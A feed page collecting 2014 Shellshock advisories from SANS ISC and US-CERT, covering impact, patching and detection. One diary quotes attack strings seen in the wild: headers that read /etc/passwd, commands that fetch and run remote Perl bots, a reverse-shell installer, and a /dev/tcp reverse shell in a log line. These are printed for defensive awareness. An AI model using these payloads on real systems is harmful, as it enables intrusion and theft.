Information Security

Other Security

Syndicate content
Pipes Output
Updated: 3 hours 10 min ago

Shellshock: A Collection of Exploits seen in the wild, (Mon, Sep 29th)

Mon, 09/29/2014 - 10:05

Ever since the shellshock vulnerability has been announced, we have seen a large number of scans probing it. Here is a quick review of exploits that our honeypots and live servers have seen so far:

1 - Simple "vulnerability checks" that used custom User-Agents:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

This one is a bit different. It includes the tested URL as user agent. But of course, it doesn't escape special characters correctly, so this exploit would fail in this case. The page at 89.248.172.139 appears to only return an "empty page" message.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707 89.248.172.139\x22

 

2 - Bots using the shellshock vulnerability:

This one installs a simple perl bot. Connects to irc.hacker-newbie.org port 6667 channel #bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

3 - Vulnerability checks using multiple headers:

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

4 - Using Multiple headers to install perl reverse shell (shell connects to 46.246.34.82 port 1992 in this case)

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

5 - Using User-Agent to report system parameters back (the IP address is currently not responding)

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)"
Cookie: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)" 

6 - User-Agent used to install perl box

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

Update on CVE-2014-6271: Vulnerability in bash (shellshock), (Thu, Sep 25th)

Sun, 09/28/2014 - 18:13

On Wednesday (Sept. 24th), a vulnerability in bash was announced, that was originally found by Stephane Schazelas. The vulnerability allows for arbitrary code execution in bash by setting specific environment variables. Later Tavis Ormandy released a second exploit that will work on patched systems. Demonstration that the patch released yesterday is incomplete. The vulnerability has now become known as "shellshock". Two CVE numbers have been assigned. The first CVE (CVE-2014-6271) was assigned for the vulnerability discovered by Stephane, the second CVE (CVE-2014-7169) was assigned to the modified injection technique discovered by Tavis. [fsf][cve1][cve2]

What is the impact of the vulnerability?

At first, the vulnerability doesn't look all that serious. Executing commands is what bash is used for. But in this case, code can be executed without the user's intent by setting an environment variable.

The most problematic scenario is bash scripts executed via cgi-bin. The CGI specification requires the web server to convert HTTP request headers supplied by the client to environment variables. If a bash script is called via cgi-bin, an attacker may use this to execute code as the web server.

Other, less likely scenarios involve ssh, which can set environment variables, but they would have to be set on the server in a configuration file. DHCP clients may in some cases execute bash scripts and use environment variables supplied by the server. This case may be exploitable if the user connects to an untrusted DHCP server ("cofeehouse wifi"). [tru]

Should I apply the patch?

Yes. The initial patch released only fixed one aspect of the vulnerability. However, a better patch was released for many Linux systems yesterday (Thursday 25th). Please make sure you apply this updated patch to mitigate this vulnerability. [ubu]

What are my other options? What else should I do?

Since the patch is incomplete, you should try to implement additional measures to protect your systems. Various Intrusion Detection System (IDS) and Web Application Firewall (WAF) vendors have released rules to block exploitation. Realize that these rules may be incomplete as well. Many rules I have seen so far just look for the string "() {" which was present in the original proof of concept exploit, but could easily be changed for example by adding more or different white spaces.

You could switch your default shell to an alternative like ksh or sh. But this,will likely break existing scripts. Different shells use slightly different syntax.

On many embedded systems you may already use an alternative shell ("busybox") that is not vulnerable. 

Another option to limit the impact of the vulnerability is SELinux, but by default, it does not prevent the initial exploit. [sel]

How do I find vulnerable systems?

If you can log on to the system you can use one of these test strings:

To check if you are patched, you can use the original test string:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you are patched, but want to demonstrate that you are still vulnerable, you
can use this command:

env X='() { (a)=>\' bash -c "echo date";

This command will return an error on a patched system, but it will still
create an empty file called "echo". 

 

There are various modules for vulnerability scanners to search for vulnerable systems. You can also use a quick Google search for likely vulnerable web servers:
filetype:sh inurl:cgi-bin site:[your domain]
This Google check my return shell scripts that use shells other then bash.

Be careful to check web servers in embedded systems like routers as they may not only run bash scripts, but they may do so at elevated privileges. Many empeded systems use busybox, not bash, and are save. But if bash is used, these systems may be vulnerable.

Other vulnerable systems include F5 load balancers and OS X (Apple) systems [f5-1][f5-2][osx]. Cisco published two articles outlining how it's devices are affected [cisco1][cisco2].

Apple stated that "With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services,” - [tps] . It is not clear if OS X can be exploited via DHCP. But it is certainly possible and not uncommon for users to install web servers on OS X.

It also may be possible to find exposed systems through DHCP:

From one of our readers (Big Shout out and thank you to Patrick!)

Using DHCP Options, you may be able increase detection of systems that are exposed to the bug. At first Patrick's team was using DHCP option 114, then dialog revealed that option 95 might serve as a better 'option' (pun intended).

The Solution:

option option-114 = "() { ignored;}; ping -c 1 IP.THAT.YOU.CONTROL";

and running a packet sniffer on IP.THAT.YOU.CONTROL.

It's most reliable and least intrusive (1 ICMP packet).

Unless ICMP filtering is in place in which case, use...

option option-114 = "() { ignored;}; wget -O /dev/null
http://IP.THAT.YOU.CONTROL/ShellShocked";

will also work on systems that have wget. Just tail logs for 404s

NOTE!: option-114 is used by VoIP (provisioning URL) so thread carefully on
telecomms networks!

This DHCP solution is experimental so be careful!

Threatstop published a list of IPs known to scan/exploit the vulnerability [thr]

Are systems already being exploited?

We have seen reports of scans for the vulnerability. The cgi-bin exploit is used very agressively and we already have seen multiple attacks against our own web servers.  

Scans also started against some well known cgi-bin scripts that are part of larger packages. For example cPanel's /cgi-sys/defaultwebpage.cgi. [vol]

We do see numerous exploit attempts against our own (non-vulnerable) web servers, and are receiving many reports of exploit attempts. For example, here a log entry in which the User-Agent was set to the exploit value:

178.86.28.56 - - [25/Sep/2014:21:24:54 +0000] "GET /iscfavicon.ico HTTP/1.1" 200 1406 "-" "() { :; }; bash -i >& /dev/tcp/178.86.28.56/9999 0>">---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

TA14-268A: GNU Bourne-Again Shell (Bash) ‘Shellshock’ Vulnerability (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277 and CVE 2014-6278)

Thu, 09/25/2014 - 11:56
Original release date: September 25, 2014 | Last revised: September 30, 2014
Systems Affected
  • GNU Bash through 4.3.
  • Linux and Mac OS X systems, on which Bash is part of the base operating system.
  • Any BSD or UNIX system on which GNU Bash has been installed as an add-on.
  • Any UNIX-like operating system on which the /bin/sh interface is implemented as GNU Bash.
Overview

A critical vulnerability has been reported in the GNU Bourne-Again Shell (Bash), the common command-line shell used in many Linux/UNIX operating systems and Apple’s Mac OS X. The flaw could allow an attacker to remotely execute shell commands by attaching malicious code in environment variables used by the operating system [1]. The United States Department of Homeland Security (DHS) is releasing this Technical Alert to provide further information about the GNU Bash vulnerability.

Description

GNU Bash versions 1.14 through 4.3 contain a flaw that processes commands placed after function definitions in the added environment variable, allowing remote attackers to execute arbitrary code via a crafted environment which enables network-based exploitation. [2, 3]

Critical instances where the vulnerability may be exposed include: [4, 5]

  • Apache HTTP Server using mod_cgi or mod_cgid scripts either written in bash, or spawn GNU Bash subshells, or on any system where the /bin/sh interface is implemented using GNU Bash.
  • Override or Bypass ForceCommand feature in OpenSSH sshd and limited protection for some Git and Subversion deployments used to restrict shells and allows arbitrary command execution capabilities. This data path is vulnerable on systems where the /bin/sh interface is implemented using GNU Bash.
  • Allow arbitrary commands to run on a DHCP client machine.
Impact

This vulnerability is classified by industry standards as “High” impact with CVSS Impact Subscore 10 and “Low” on complexity, which means it takes little skill to perform. This flaw allows attackers who can provide specially crafted environment variables containing arbitrary commands to execute on vulnerable systems. It is especially dangerous because of the prevalent use of the Bash shell and its ability to be called by an application in numerous ways.

Solution

Initial solutions for Shellshock do not completely resolve the vulnerability. It is advised to install existing patches and pay attention for updated patches to address CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, and CVE-2014-6278. Red Hat has provided a support article [6] with updated information.

Many UNIX-like operating systems, including Linux distributions and Apple Mac OS X include Bash and are likely to be affected. Contact your vendor for updated information. A list of vendors can be found in CERT Vulnerability Note VU#252743 [7].

US-CERT recommends system administrators review the vendor patches and the NIST Vulnerability Summaries for CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277 and CVE-2014-6278 to mitigate damage caused by the exploit.

References Revision History
  • September 25, 2014 - Initial Release
  • September 26, 2014 - Minor Revisions
  • September 30, 2014 - Update to include additional CVE information

This product is provided subject to this Notification and this Privacy & Use policy.


Categories: Vulnerability Pipes